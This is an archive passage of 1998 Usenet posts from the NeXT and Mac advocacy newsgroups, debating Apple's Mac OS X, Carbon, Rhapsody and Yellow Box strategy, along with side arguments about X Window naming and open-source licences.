that any other software company in the world, including Microsoft, has
the full right to try to sell products to meet the same needs and the
only way I'll get Acme's money is if I have the superior solution as seen
by Acme.
That's what I've been talking about.
Donald
From: Ralph Elliott <re@sys.uea.ac.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 14:50:15 +0100
Organization: School of Info Systems, UEA Norwich, UK
Message-ID: <3559A517.5562EE28@sys.uea.ac.uk>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu>
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Pulsar wrote:
> Repeate after me:
>
> Mac OS X is Rhapsody renamed.
> Mac OS X is Rhapsody renamed.
> Mac OS X is Rhapsody renamed.
> Mac OS X is Rhapsody renamed.
>
Repeat it if you like, but that won't stop it being, at best, a half-truth.
"Rhapsody" -- according to Apple's great pitch to developers at WWDC 97 -- denotes
a system which is (was?) to be made available on Intel systems. There's no
indication that this is so for Mac OS X -- indeed rather the opposite.
(It was striking how Jobs went out of his way on more than one occasion on Monday
morning to allude to the "ten months since I took over at Apple", thereby, it
seems, implicitly dissociating himself from anything Apple said at the WWDC a year
ago -- notwithstanding the fact that he himself made an appearance on Apple's
behalf at that event.)
-Ralph Elliott
--
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lots of misinformation
Date: 13 May 1998 15:03:05 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ljdh9.p80.sal@panix3.panix.com>
References: <01bd7de2$cfc7f170$04387880@test1> <3558CD7D.5327CAB0@unet.univie.ac.at> <35593144.34FC9080@nstar.net>
On Wed, 13 May 1998 05:36:04 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>Maybe this new strategy, troubling as it is, is just a big concession to
>reality and an attempt at retaining the best possible combination with
>much of the idealism stripped away.
-------------^^^^^^^^
If you replace "idealism" with "religion" I would agree 1000%. Steve is
meeting the MacOS developers half way with carbon. He is offering them
a way to protect thier investments while at the same time, giving them
the new OS foundation that they have been asking for. Everyone wins.
Rhapsody gets more Apps, Developers get to keep thier curerent source
code and users get a better OS. I don't see any downside other than the
15 month wait for OSX.
>I just wish (as ever) that Jobs would speak out about things more
>specifically...
You need to get yourself a RDF to English, English to RDF phrasebook.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 09:15:01 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559AAE5.820270F0@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcc8t$479$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <35597B98.E031BF17@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > And if the cross-platform aspect is gone, I think of YellowBox is dead.
>
> Yeah, you keep running around here saying that, but Apple has never said
> that the cross-platform aspect is gone.
And so far, no one can show a public statement committing to NT5/98.
Perhaps Friday, there will be an announcement.
If the cross-platform is MacOS/NT4-95/Intel Rhapsody given:
MacOS X is the future (and not Intel) NOT Rhapsody
NT4/95 will be replaced by Microsoft
That's not alot of future for cross-platform, is it?
(and the old OpenSTEP cross-platform are MIA)
> In fact, the only thing I've
> heard about the cross-platform aspect is "we fully intend to support
> Rhapsody on Intel".
And they are... NT4/95. Now, why develop for YellowBox if all it's gonna do is
NT4/95 when Microsoft has NT5/98 in the pipe?
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 13 May 1998 15:12:38 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lje36.p80.sal@panix3.panix.com>
References: <6jboq5$eua$9@news.idiom.com>
On 13 May 1998 09:23:17 GMT, John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
>Well, Adobe didn't play ball. That's pretty irritating, to say the least.
I wonder if Steve offered them free QT3. They would have to be nuts to
turn that down.
>Suggested workaround: A bundle of the NeXT apps, like Mail.app and TextEdit,
>and all the stuff from /Nextdeveloper/demos, for $25.
I would like info on a "flat rate" distribution. It might be worth it to pay
$5000 to have unlimited distribution (at least for a mid sized shop)
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 15:03:57 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1205981503570001@dante.eng.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <*johnnyc*-1205981218300001@rklein.psychology.dal.ca> <drcohen-1205981218210001@sjc-ca6-09.ix.netcom.com> <%k261.1934$sy4.3477418@news.rdc1.sdca.home.com>
In article <%k261.1934$sy4.3477418@news.rdc1.sdca.home.com>,
rr6013@yahoo.com wrote:
>So? What's your point? Buy MTWKF as an acquisition? Or that MTWKF just
>watched their technology copied by Apple? Or are you intimating that Mac runs
>fine on Unix without supporting extensions at the lower levels of unix?
I think his point was that Carbon turns MacOS apps into YellowBox apps,
just _please_ don't tell anyone that is what is happening because they
won't believe it and walk away.
What it should do is get apps to MacOS X before MacOS X ships. Apple can
then sell the advantages of YellowBox: "Well, if you change that little
bit of TextEdit code - 121 calls, from what our utility tells us - to
NSText, then you'll get this feature, and that feature, and this other
feature. It should take you 8 days to rewrite and do it with your next rev
to reduce testing times.
Clearly the MacOS people don't belive in rewriting apps. Hell, even the
Windows people won't buy that one. So Apple will hand hold them, feed them
a little here, and a little there, and so on until they get there. It's
68k -> PPC all over again folks.
If true, Carbon apps could be every bit as cross-platform as YellowBox apps.
-Bob Cassidy
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Software licenses
Date: Wed, 13 May 1998 15:26:52 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3559BBBC.B90C0BEA@nstar.net>
References: <6j7n0h$6fq@newsb.netnews.att.com> <3557A482.EF67C60A@nstar.net> <6ja22t$cjn@newsb.netnews.att.com> <355890E3.17D8@CONVEX.COM> <6jbi7p$3ke$1@bartlet.df.lth.se>
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Christian Brunschen wrote:
[cut]
> So, I think you are overreacting :)
I'm sure I am, but the truth is I never killfiled Arun anyway. I was
just trying to make a point.
I would hope that I had better sense than to killfile Arun over such a
little thing.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 15:43:09 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6jcf2d$iu2@newsb.netnews.att.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com>
Originator: gupta@tlctest
Salvatore Denaro <sal@panix3.panix.com> wrote:
>
>I think Steve learned a bit from his "bullet in the head" statement. Rather
>than focus on the 2000 APIs he killed, or that MacOS X is Rhapsody, he sold
>the MacOS developers on Carbon to port their Apps up to Rhapsody and get all
>the benifits of PMT, PM and solid networking.
>
>Very slick, even for Steve.
March 17, 1997, MacWeek carried the following :
Breaking his company's relative silence on the nuts and bolts of
Apple's next-generation OS strategy, Adobe Systems Inc CEO John Warnock
last week told the San Francisco Examiner that he has reservations about
the new OS' compatibility scheme.
In an intervew Warnock critiqued Apple's plan .... "Adobe is not
interested in rewriting its applications for the Yellow box,"
(There needs to be a middle ground. [quoted from elsewhere])
Warnock said. He said the Blue box should be modified to let
current applications take advantage of some of Rhapsody's features
without a total rewrite.
....
*******************************
Later, Warnock wrote "....We have not asked Apple to compromise
the Yellow Box. The last thing we want is to move backwards.
There are some things Apple could do to make the porting job
much easier for all application developers. These changes would
optimize their chance of success."
*******************************
Well, Apple is promising to deliver on this -- i.e., Carbon.
What is everybody's problem ?
-arun gupta
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Wed, 13 May 1998 15:41:34 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3559BF2E.66FB3BC7@nstar.net>
References: <6j9gam$1cc$8@ironhorse.plsys.co.uk> <B17DBA51-CA75@206.165.43.129> <35586EAB.EF7C8EF7@trilithon.com> <slrn6lguc3.6a2.jason@jhste1.dyn.ml.org> <3558D5F8.6E98447A@trilithon.com>
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Henry McGilton wrote:
>
> Jason S. wrote:
> * Henry McGilton wrote:
> * * Shame that X-Windows didn't go the same way.
>
> * You misspelled "Microsoft" as "X-" (incidentally,
> * there's no such thing as "X-Windows").
> I know that --- calling it X-Windows pisses off the X-Windows
> propellor heads, and while they're pissed off, their abilty
> to foist more bad UI on the world is diminished.
I never understood this. The O'Reilly series says that you're supposed
to call it either "The X Windows System" or just plain "X". In my
opinion, both are eminently unsuitable for 95% of all conversations. The
whole attitude of the MIT developers was just plain *uppity*, in my li'l
ol' opinion.
X developers unite! Let's overthrow the oppressive nomenclature of our
MIT masters! I propose a truce: call it whatever you like, forget about
pissing people off, and just say what you mean. I'm pretty sure people
are going to understand what you're talking about, whether you call it
"X-Windows"
"X11"
"X"
"Xlib"
or even "X-gash" (my favorite)
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: Wed, 13 May 1998 15:47:01 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3559C075.7EAC1DA5@nstar.net>
References: <6jboq5$eua$9@news.idiom.com>
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John C. Randolph wrote:
>
> Well, Adobe didn't play ball. That's pretty irritating, to say the least.
>
> Suggested workaround: A bundle of the NeXT apps, like Mail.app and TextEdit,
> and all the stuff from /Nextdeveloper/demos, for $25.
>
> You buy the frameworks as part of something else that's worth having on your
> windoze box to ease the pain of the MicroSquish UI.
It becomes even more important for Apple to become directly involved in
distribution, and work to hide the cost just as PC cloners hide the
costs of Windows 95 and other bundled software. Apple needs to build a
new network of Mac cloners starting *this summer* and get as many people
on board as possible. I think Jobs could get away with this, even after
last year's disaster.
MJP
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Tue, 12 May 1998 15:15:15 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1205981515150001@dante.eng.uci.edu>
References: <ericb-1105981718430001@132.236.171.104> <Esu12F.2yG@micmac.com> <andyba-ya02408000R1205981021010001@news>
In article <andyba-ya02408000R1205981021010001@news>,
andyba@corp.webtv.net (Andy Bates) wrote:
>In article <Esu12F.2yG@micmac.com>, nospam@micmac.com wrote:
>
>> It seems clear to me that carbon apps will ship for Intel...
>
>No, they won't. Apple has said that Carbon will be MacOS-only. Come on, do
>you really think they could knock out a few APIs and make every Mac app
>suddenly Intel-compatible? No way.
Why not, that is essentially what Lattitude did, no? From a MacWeek
article <http://www.zdnet.com/macweek/mw_1142/sy_metrowerks.html>
Latitude redirects Mac Toolbox calls to the target OS, with a Unix library
containing a portable implementation of Mac APIs at its core. In the update,
the company implemented hooks to Rhapsody's graphical user interface and
Display PostScript rendering layers.
Metrowerks is continuing to polish the software and plans to offer Latitude
revisions every couple of weeks through its Web site, said David Hempling,
CodeWarrior technical lead. He said Metrowerks expects to make Latitude
completely endian-neutral over the coming months; this will assist with
development for the various platforms on which Rhapsody will run.
They've been at it for a year and can take another year to finish with
Apple's help.
-Bob Cassidy
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X, Carbon, Rhapsody, YellowBox (was Re: Apple developer program)
Date: Wed, 13 May 1998 15:56:53 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3559C2C5.B349D389@nstar.net>
References: <6il7fp$smu$1@news.digifix.com> <355876CC.F3A3A297@Eng.Sun.COM> <6jc2nm$a49$1@bartlet.df.lth.se> <35598652.56A9D2D9@milestonerdl.com> <6jc6kd$hvt$1@bartlet.df.lth.se> <35599455.5D806FD9@milestonerdl.com>
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M Rassbach wrote:
> I'm trying to figure out if this is the end-game or not. With no NT5/Win98
> announcements, where is the long-term cross-platform advantage of YellowBox?
GNUstep, for instance. I suppose. I don't think it's likely that Yellow
Box would simply disappear. Maybe the end-game would include selling the
API to someone like Borland or even Sun.
MJP
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 11:08:25 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk>
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In article <3559A517.5562EE28@sys.uea.ac.uk>, Ralph Elliott
<re@sys.uea.ac.uk> wrote:
> Pulsar wrote:
>
> > Repeate after me:
> >
> > Mac OS X is Rhapsody renamed.
> > Mac OS X is Rhapsody renamed.
> > Mac OS X is Rhapsody renamed.
> > Mac OS X is Rhapsody renamed.
> >
>
> Repeat it if you like, but that won't stop it being, at best, a half-truth.
> "Rhapsody" -- according to Apple's great pitch to developers at WWDC 97 --
> denotes a system which is (was?) to be made available on Intel systems.
> There's no indication that this is so for Mac OS X -- indeed rather the
> opposite.
This is not exactly true. Rhapsody for Intel will not include the Blue Box.
Is it therefore not Rhapsody? Mac OS X is Rhapsody with the Blue Box +
Carbon APIs.
There is very little reason for Mac OS X on Intel. The two biggest parts of
it that are important to Mac users and developers are the Blue Box and
Carbon APIs which aren't really needed on Rhapsody/Intel.
This announcement was not directed at people hoping for Rhapsody be they
wishing for Rhapsody on Intel or PPC or YB on Windows or whatever. It was
aimed directly at Mac OS developers who have a large investment in the Mac
OS. It was a measure to keep them from panicking and leaving the platform.
There is a good and very deliberate reason that there was little specific
mention of Rhapsody and its associated technologies.
Apple actually made the Yellow Box the future of Mac OS programming while
making it seem like the old Mac OS had a future. Apple didn't announce the
end of Rhapsody, but rather the end of the Mac OS!! The reason there was
little focus on Rhapsody was because focusing too much on that would have
destroyed the effect.
Mac OS X is Rhapsody renamed. What we think of as the full Rhapsody will
continue on even after Mac OS X as a higher end workstation/server OS. Mac
OS X will just be the mainstream Mac OS equivalent (as far as the target
audience). Mac OS X may not include the Unix layer. That's fine. The market
this is intended for doesn't need it (nor do they really want it).
The future of Rhapsody/Intel may not be all that secure, but I'm not sure
it ever was. The future of Yellow Box on Windows is secure. In all
likelyhood, both Rhapsody/Intel and YB for Windows will continue on well
after the release of Mac OS X. They will not be affected by this release.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Tue, 12 May 1998 15:20:25 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1205981520250001@dante.eng.uci.edu>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca>
In article <3558CA19.693D@sympatico.ca>, Pete Casso
<petecassostein@sympatico.ca> wrote:
>> Do you think the iMac would sell well at $1299? I think it would sell
>> as well as any of their regular stuff (or better) - so it'll keep their
>> production line running at capacity right?
>
>Related thought: will the regular G3/233MHz drop to those price levels
>(or lower, because of no monitor) as well by the time iMac ships in
>August? Any opinions? Buy a G3 now or wait until August?
Well, do you need it now, or do you need it in August?
-Bob Cassidy
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 12:26:27 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jchjj$4bo$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <35597B98.E031BF17@milestonerdl.com> <6jcc8t$479$1@crib.bevc.blacksburg.va.us> <3559AAE5.820270F0@milestonerdl.com>
In article <3559AAE5.820270F0@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > In article <35597B98.E031BF17@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > And if the cross-platform aspect is gone, I think of YellowBox is dead.
> > Yeah, you keep running around here saying that, but Apple has never said
> > that the cross-platform aspect is gone.
> And so far, no one can show a public statement committing to NT5/98.
What makes you think that Yellow Box won't work on them?
> If the cross-platform is MacOS/NT4-95/Intel Rhapsody given:
> MacOS X is the future (and not Intel) NOT Rhapsody
> NT4/95 will be replaced by Microsoft
> That's not alot of future for cross-platform, is it?
You're being ridiculous. Apple isn't dropping their Intel OS, and they
haven't said anything at all of the sort.
> (and the old OpenSTEP cross-platform are MIA)
> > In fact, the only thing I've
> > heard about the cross-platform aspect is "we fully intend to support
> > Rhapsody on Intel".
> And they are... NT4/95.
Clue: "Rhapsody on Intel" is not "Yellow Box on Windows".
Furthermore, I don't recall it being called "Yellow Box on Windows NT
and 95", I recall it being "Yellow Box on Windows" which _currently runs_
on NT and 95 (since that's all that's out), and that they have announced
their committment to "Yellow Box on Windows", and that given how _little_
Yellow Box on Windows uses of the underlying OS (they've got their own
display model, ported portions of Mach to rely on instead of native OS
services, etc.) I see no reason at all why it wouldn't work on NT 5 or 98.
Sure, it will probably require some testing/tweaking, but if they're
going to continue to ship Yellow for Windows (which they stated they
have), they have no reason not to spend a little time testing/tweaking
to keep current.
> Now, why develop for YellowBox if all it's gonna do is
> NT4/95 when Microsoft has NT5/98 in the pipe?
Because that's not all it's gonna do, and you're just being plain stupid.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon built on top of YellowBox?
Date: 13 May 1998 16:16:22 GMT
Organization: P & L Systems
Message-ID: <6jch0m$1cc$18@ironhorse.plsys.co.uk>
References: <35594B50.B0DF00FC@iphysiol.unil.ch>
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Cc: noone@iphysiol.unil.ch
In <35594B50.B0DF00FC@iphysiol.unil.ch> Sean Hill wrote:
> Carbon built on top of YellowBox?
>
No: Carbon runs alongside YellowBox.
> Is it possible?:
> Carbon API will actually be able to use parts of the YellowBox to play
> the role of the old MacOS API.
>
Yes: AAA+'s Joy for Rhapsody can already mix OpenStep and Carbon calls in the
same program.
Best wishes,
mmalc.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 12:28:09 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jchmp$4ca$1@crib.bevc.blacksburg.va.us>
References: <6jatq7$72e$1@xmission.xmission.com> <35597B98.E031BF17@milestonerdl.com> <6jcc8t$479$1@crib.bevc.blacksburg.va.us> <3559AAE5.820270F0@milestonerdl.com>
In article <3559AAE5.820270F0@milestonerdl.com>, mark@milestonerdl.com wrote:
> Now, why develop for YellowBox if all it's gonna do is
> NT4/95 when Microsoft has NT5/98 in the pipe?
Let me add: there are LOTS of reasons to develop for Yellow Box --
if you're a Mac developer -- regardless of whether or not it runs on
Windows at all.
From: float@interport.net
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Followup-To: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 13 May 1998 12:26:24 -0400
Organization: Interport Communications Corp.
Message-ID: <6jchjg$9nl$1@interport.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213>
Matthew Vaughan (see-below@not-my-address.com) wrote:
: But how do you explain the tepid support for Yellow Box among Mac
: developers, and their enthusiastic endorsement of Carbon?
Their attachment to their existing code base and expertise in the MacOS
API is understandably strong. Learning to code for Yellow Box would
require them to feel stupid again, a lot of people aren't willing to do
this.
Those who bite the bullet will be suitably rewarded with faster
development cycles and better final products.
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 13 May 1998 12:36:33 -0400
Organization: Interport Communications Corp.
Message-ID: <6jci6h$aep$1@interport.net>
References: <ericb-1105981718430001@132.236.171.104> <6j7rku$cbc$1@pith.uoregon.edu> <6j83ou$fog$1@flotsam.uits.indiana.edu> <st942593-1205980048190001@129.64.124.199> <rmcassid-1105982346510001@dialin33418.slip.uci.edu> <6ja08e$rat$1@interport.net> <rmcassid-1205981451400001@dante.eng.uci.edu>
Robert Cassidy (rmcassid@uci.edu) wrote:
: In article <6ja08e$rat$1@interport.net>, float@interport.net wrote:
: >What's Bolo?
: Bolo is one of the most wonderful of games
Hmm, some time when I have a free afternoon and feel like hacking, I'll
see if I can get Executor running here.
Nothing like running a Mac emulator for Linux on a FreeBSD box. ;-)
--
Ben
<Just Another System Administrator>
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
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References: <6j8fet$k2n$1@walter.cs.umd.edu> <slrn6lfj6b.l9u.sal@panix3.panix.com>
<5cR51.1551$sy4.3122694@news.rdc1.sdca.home.com> <35591A23.66A07C46@unet.univie.ac.at>
Message-ID: <Apk61.2102$sy4.4060601@news.rdc1.sdca.home.com>
Date: Wed, 13 May 1998 17:05:36 GMT
NNTP-Posting-Date: Wed, 13 May 1998 10:05:36 PDT
Organization: @Home Network
In <35591A23.66A07C46@unet.univie.ac.at> Christian Benesch wrote:
> What do you mean "can NeXTies afford two years for market access" ?
> The NeXT-Market is there.Always was and only has a chance to get bigger with
the
> Apple association.
> We are actively using OS 4.2 until Rhapsody gets shipped for good.
> Whom do you think we're working for?
>
I was not clear on my post. I was speaking of NeXTies ie. NeXT Developers.
With previous Rhapsody plans NeXT Developers had the hoped for ability to sell
into the Intel market. The previous plan had a cross-platform component which
now is in question. It looks like access into the Mac userbase will follow
through PPCland on MacOS X. And the Intel option is left unaddressed.
NeXTies loose a plehora of neat .apps like the Lighthouse and others which
won't make the Rhapsody Trek. And wait they must for YB API's to meet MacOS X
demand, before those neat apps comeback, if then...
-r
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 13 May 1998 17:07:57 GMT
Organization: I don't think so
Message-ID: <slrn6ljl39.1l3.jason@jhste1.dyn.ml.org>
References: <6j9gam$1cc$8@ironhorse.plsys.co.uk> <B17DBA51-CA75@206.165.43.129> <35586EAB.EF7C8EF7@trilithon.com> <slrn6lguc3.6a2.jason@jhste1.dyn.ml.org> <3558D5F8.6E98447A@trilithon.com> <3559BF2E.66FB3BC7@nstar.net>
Michael J. Peck posted the following to comp.sys.mac.advocacy:
>I never understood this. The O'Reilly series says that you're supposed
>to call it either "The X Windows System" or just plain "X". In my
>opinion, both are eminently unsuitable for 95% of all conversations. The
>whole attitude of the MIT developers was just plain *uppity*, in my li'l
>ol' opinion.
>X developers unite! Let's overthrow the oppressive nomenclature of our
>MIT masters! I propose a truce: call it whatever you like, forget about
>pissing people off, and just say what you mean. I'm pretty sure people
>are going to understand what you're talking about, whether you call it
>"X-Windows"
>"X11"
>"X"
>"Xlib"
>or even "X-gash" (my favorite)
<quote>
The X Consortium requests that the following names be used when referring to this
software:
X
X Window System
X Version 11
X Window System, Version 11
X11
X Window System is a trademark of X Consortium, Inc.
</quote>
I don't think it's unreasonable for them to want you to get the name right.
People here get all huffy when Lance Togar refers to a Mac as a MAC, after
all.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 16:59:58 GMT
Organization: P & L Systems
Message-ID: <6jcjie$1cc$22@ironhorse.plsys.co.uk>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
<3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <35597B98.E031BF17@milestonerdl.com> M Rassbach wrote:
> Stepwise is a very pro-NeXTSTEP/OpenSTEP site.
>
So? Stepwise also has access to a number of clued up people inside Apple,
and has established a record for getting facts right and not publishing
unsubstantiated rumour.
> And if the cross-platform aspect is gone, I think of YellowBox is dead.
>
Where has anyone said that the cross-platform aspect has gone?
Apple has just announced pricing information for YB/Windows, there were
sessions on YB/Windows development at WWDC, YellowBox is alive and well.
If you dig your head out of the sand you'll be able to hear the messages
easier.
mmalc.
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 13 May 1998 13:10:52 -0400
Organization: Interport Communications Corp.
Message-ID: <6jck6s$co7$1@interport.net>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net> <6jalo6$k11$1@msunews.cl.msu.edu> <3558D5DA.D65392B1@milestonerdl.com> <slrn6lh8nu.ai.jason@jhste1.dyn.ml.org> <3558E184.6D5B5EC1@milestonerdl.com> <slrn6lhuds.om.jason@jhste1.dyn.ml.org>
Jason S. (jason@jhste1.dyn.ml.org) wrote:
: Berkeley isn't exactly open source;
What bullshit. The Berkeley license is absolutely an open source license.
Just because its properties aren't required to propagate to derivative
code doesn't make Berkeley code any less open.
<irony>
GPL'd code isn't really open; if the FSF really believed in
freedom, they'd give me the freedom to do what I want with my enhancements
to their code.
</irony>
--
Ben
<Just Another System Administrator>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 13 May 1998 09:42:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17F1B71-18255@206.165.43.172>
References: <6jbt5d$1cc$16@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>from an OO
>perspective from your descriptions it sounds as if it could be done
better.
Seeing how this was presented as a structured library for non-OOP
applications, I'd like to see how.
What is the conceptual difference between
"GXDrawShape(theShape)"
and
however the same would be implemeted in Obj-C?
The fact that the list of shape types can be extended? Try doing that using
a structured API like MacOS toolbox calls and you'll get something like
QD3D's extension mechanism. Er, no thanks. I'll stick with the
non-extensible version until an OOP version is presented directly.
>Pragmatic considerations then have consigned it to the dustbin.
>
>GX is dead. Why not shut up about it and go and do something useful?
You mean, like make sure that any school kid using a Color Mac with enough
memory and System 7.1 or better can make use of a really nicely done
high-end graphics library?
The excuse given for why GX isn't included in Carbon is because no-one is
using it.
What if every schoolkid started to use it to exchange vector-graphics
pictures? What if professional DTP people started using it to script vector
graphics images and then export them to EPS format?
Hmmm?
Should it still be left in the dustbin or should it be dusted off and
integrated with Carbon and YB in some way?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
References: <6j9631$61c$1@news.tudelft.nl> <1d8xt9j.1q6dg7q11738g0N@cetus181.wco.com> <6jbp3h$eua$10@news.idiom.com>
Subject: Re: DPS ( Was: Carbon features: NO Quickdraw !!)
Message-ID: <hAk61.1$o52.30691@news.san.rr.com>
Date: Wed, 13 May 1998 17:17:01 GMT
